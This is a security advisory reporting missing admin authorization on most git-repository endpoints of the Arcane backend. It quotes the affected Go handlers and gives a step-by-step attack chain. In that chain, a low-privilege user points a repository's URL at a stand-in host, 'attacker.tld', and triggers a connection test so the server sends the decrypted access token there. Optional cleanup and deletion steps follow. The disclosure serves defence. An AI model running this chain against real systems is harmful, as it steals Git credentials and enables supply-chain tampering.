Arcane Backend: Missing admin authorization on git repository endpoints allows non-admin users to exfiltrate stored Git credentials and tamper with GitOps configs

// backend/internal/huma/handlers/helpers.go:11-12
// checkAdmin checks if the current user is an admin and returns a 403 error if not.
func checkAdmin(ctx context.Context) error { ... }

grep -rn "checkAdmin" confirms every other admin resource uses it (container_registries, environments, users, apikeys, events, settings, swarm, system, notifications). Default new accounts get role "user" (backend/internal/huma/handlers/users.go:222-223):

if userModel.Roles == nil {
    userModel.Roles = []string{"user"}
}

Git repository handler is missing the admin gate on 8 of 9 endpoints

backend/internal/huma/handlers/git_repositories.go:117-236 registers nine endpoints. Only SyncRepositories (line 456) calls checkAdmin(ctx). The other handlers — ListRepositories (line 243), CreateRepository (271), GetRepository (301), UpdateRepository (326), DeleteRepository (356), TestRepository (382), ListBranches (407), BrowseFiles (428) — perform no role check whatsoever:

// backend/internal/huma/handlers/git_repositories.go:326-336
func (h *GitRepositoryHandler) UpdateRepository(ctx context.Context, input *UpdateGitRepositoryInput) (*UpdateGitRepositoryOutput, error) {
    if h.repoService == nil {
        return nil, huma.Error500InternalServerError("service not available")
    }
    actor := models.User{}
    if currentUser, exists := humamw.GetCurrentUserFromContext(ctx); exists && currentUser != nil {
        actor = *currentUser
    }
    repo, err := h.repoService.UpdateRepository(ctx, input.ID, input.Body, actor)
    ...

The service layer (backend/internal/services/git_repository_service.go) has no role enforcement either — grep -n "admin" backend/internal/services/git_repository_service.go returns nothing.

Credential-preserving update primitive

UpdateRepository builds a partial update map: the token/ssh_key columns are only rewritten if the corresponding pointer in the request body is non-nil, while the URL is updated unconditionally when req.URL != nil:

// backend/internal/services/git_repository_service.go:185-219
updates := make(map[string]any)
if req.Name != nil      { updates["name"] = *req.Name }
if req.URL != nil       { updates["url"]  = *req.URL }   // <-- attacker-pivotable
if req.AuthType != nil  { updates["auth_type"] = *req.AuthType }
...
if req.Token != nil {                                      // <-- only rewritten if supplied
    if *req.Token == "" { updates["token"] = "" } else {
        encrypted, err := crypto.Encrypt(*req.Token)
        ...
        updates["token"] = encrypted
    }
}

So PUT /customize/git-repositories/{id} with body {"url":"https://attacker.tld/repo.git"} retargets the repository while preserving the encrypted token.

Sink: Basic-auth send to attacker URL

TestConnection and ListBranches/BrowseFiles decrypt the stored token via GetAuthConfig and pass the chosen URL + auth to gitutil:

// backend/internal/services/git_repository_service.go:340-363
func (s *GitRepositoryService) GetAuthConfig(ctx context.Context, repository *models.GitRepository) (git.AuthConfig, error) {
    authConfig := git.AuthConfig{
        AuthType: repository.AuthType, Username: repository.Username, ...
    }
    if repository.Token != "" {
        token, err := crypto.Decrypt(repository.Token)
        ...
        authConfig.Token = token
    }
    ...
}

// backend/pkg/gitutil/git.go:60-69
case "http":
    if config.Token != "" {
        return &githttp.BasicAuth{
            Username: config.Username,
            Password: config.Token,
        }, nil
    }

go-git's HTTP transport sends Authorization: Basic base64(username:token) in the very first reference-discovery request to the (attacker-controlled) URL — so the cleartext PAT lands in the attacker's web-server access log on the first call to /test, /branches, or /files.

Full attack chain (HTTP-token variant)

1. Attacker authenticates as a normal user (registration or any pre-existing low-priv account).
2. GET /api/customize/git-repositories enumerates all configured repositories (id, url, authType, username — token/sshKey are encrypted but their existence is visible).
3. PUT /api/customize/git-repositories/{id} with {"url":"https://attacker.tld/repo.git"} retargets the repo while preserving the encrypted PAT.
4. POST /api/customize/git-repositories/{id}/test (or GET .../branches) makes Arcane decrypt the PAT and send it to attacker.tld as HTTP Basic auth.
5. Optional cleanup: PUT again to restore the original URL, leaving no obvious config drift; or DELETE every repo for DoS on the GitOps pipeline.

The same primitive works for authType: "ssh" repos by retargeting to an attacker-controlled SSH endpoint that logs the offered key (or, with the default accept_new host-key mode, by the attacker simply observing the SSH session).

Impact

• Cleartext exfiltration of stored Git credentials. PATs and SSH keys configured by administrators for source-of-truth GitOps repositories are encrypted at rest with a key Arcane controls, but any authenticated low-priv user can cause the application to decrypt them and transmit them to an attacker-chosen URL. Stolen GitHub/GitLab PATs typically grant write access to the org's source repos, CI secrets, container registries, and downstream production systems — escaping Arcane's security boundary entirely (S:C).
• Privilege escalation to effective Arcane admin over GitOps. Non-admin users can create, modify, and delete every git repository configuration, controlling what code Arcane pulls and deploys.
• Supply-chain integrity loss. A user can swap the URL of an enabled repo to a malicious fork, then revert it after a sync, to inject attacker-controlled images/manifests into deployments.
• Denial of service on the GitOps pipeline. DELETE /customize/git-repositories/{id} lets any user wipe production repository configurations.
• Information disclosure of private repo contents. GET .../files clones private repos using stored credentials and returns file contents in the API response, regardless of caller role.

Default Arcane installations create new accounts with role user; no special configuration is required for the attack to be reachable.